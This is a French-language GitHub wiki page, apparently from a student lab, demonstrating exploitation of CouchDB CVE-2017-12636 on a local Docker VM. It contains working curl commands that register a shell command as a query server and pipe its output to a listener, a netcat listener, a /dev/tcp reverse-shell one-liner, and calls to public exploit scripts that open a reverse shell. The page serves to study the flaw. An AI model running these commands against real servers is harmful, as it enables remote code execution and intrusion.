Exploitation de la faille 12636 (Avec privilège 12635) - Guillaumeclavel/Etude_Faille_CVE_12636 GitHub Wiki
Etape 4 : A partir de ce nouveau privilège, exploitation de la faille 12636
L'objectif de cet exploit est de montrer que l'on peut lancer des commandes "shell", à partir du serveur "CouchDB".
On va chercher à mettre en évidence cette faille via 3 modes :
- Command Curl
- Script python
Exploit_12636.py, avec commande simple "ip" or "ifconfig" - Script python
RedTeamWing/exp.pyavec tentative de shell reverse
0) Principe de la Mise en place d'observateur :
-
Mécanisme recherché
On cherche à détourner une fonctionnalité de Couchdb, qui autorise la définition de son propre language pour générer ses fonctions de base de données NoSQL MAP/REDUCE. Le principe de la faille 12636 est de détourner cette fonctionnalité, pour déclarer des taches "shell", et les executer lors de l'appel à ces fonctions.
(javascript, coffeescript, cmd ==> Commande shell)Nous allons chercher à montrer que les commandes shell déclarées sont bien executées.
-
Console "CoucheDB" LogLevel info
Dans la console de lancement de couchDB (viaDocker-compose up, la configuration de lancement couchDB en modelogLevel=info, permet d'avoir un retour sur les requetes, et le fonctionnement interne du container " COuchDB" -
Mise en place d'un Port pour l'écoute
Sur un nouveau terminal, on lance la commande suivante:
nc -lvvp 1420
Ce nouveau terminal sera à l'écoute du port
1420sur la machine virtuel. -
Identification de son adresse IP
Avec la commandeifconfig, on peut identifier l'adresse IP de la machine virtuel, pour réorienter les flux de la commande shell vers cette destination -
Vérification de la configuration de notre VM
Avec la commande :sudo netstat -tunlp
On observe que le programme Python écoute le port 6080
L'adresse locale 0.0.0.0:1420 est bien sur écoute protocole tcp et tcp6
le docker contenant "couchDB" écoute sur le port 5984
1) Tentative via ligne de commande Curl
- En ligne de commande
CURL -X PUT xxxandCURL -X POST xxx
- Creating a new database
curl -X PUT 'http://127.0.0.1:5984/vultest
- Adding some content
curl -X PUT 'http://127.0.0.1:5984/vultest/vul' -d '{"_id":"770855a97726d5666d70a22173005c77"}'
- Remote code to execute as a language, the output will be shown in the remote server
curl -X PUT 'http://127.0.0.1:5984/_config/query_servers/cmd/-d \
'"/sbin/ifconfig | curl http://192.168.122.1:1420 -d @-"'
- Triggering the language to execute the remote codeOn réalise cette action via l 'interface couchdb Futon''
Bien que la commande renvoie un message d'erreur dans le navigateur, une communication a été réalisée avec la fenetre de commande à l'écoute
2) Tentative script PYTHON avec commande simple
-
On lance un terminal depuis code
-
On execute le script Python
Exploit_12636avec les arguments suivants :--priv-c "fonction": fonction appelée dans la commande shell ici "ip"- l'host : l'adresse du serveur couchDB
==> la commande à lancer est la suivante :
python3 Exploit_12636.py --priv -c "ip" http:\\localhost:5984
On se place dans le repertoire suivant et on lance code .
On voit que dans la fenetre de commande couchDB, la commande ip est excecutée, heureusement n'est pas transmis à l'IP attaquant '
3) Tentative script PYTHON avec une cible "reverse shell"
Le principe du reserve shell est que l'assaillant est accès directement à une interface shell depuis son poste :
-
Test entre 2 fenetres de commande shell :
- Sur une fenetre commande shell, on lance la commande netcat pour l'écoute du port 1420.
- Sur une deuxieme fenetre de commande shell, on lance la commande shell suivante sur la machine host :
sh -i >& /dev/tcp/0.0.0.0/1420 0>&1,
Exmple mis en place sur la VM :
Cette nouvelle commande donne un accès shell, avec des commandes déclarées depuis l'adresse IP /port déclaré (ici 0.0.0.0/1420), mais executé sur la machine host. Un assaillant ayant introduit cette commande sur un serveur, et écoutant l'adresse déclaré pourra lancer depuis son poste, tout type de comamnde.
-
Mise en place du script pour attaquer le container "CouchDB" Ayant préalablement ouvert une fenetre commande écoutant le port 1420, puis en lancant code depuis le repertoire RedTeamWing:
On lance la commande suivante depuis terminal "Code", pour executer le code
exp.pyavec les arguments suivants: - Serveur target :http://localhost:5984
- Version couchdb :1.6
- Adresse :192.168.122.1= localhost VM
- Port :1420
En synthèse, la commande :python3 exp.py http://localhost:5984 1.6 192.168.122.1 1420
Le bilan est le suivantDepuis notre machine "attaquant", on a accès directement à des commandes shell executées sur l'environnement couchdb. La faille de sécurité 12636 est importante, et est mis evidence par cette démonstration.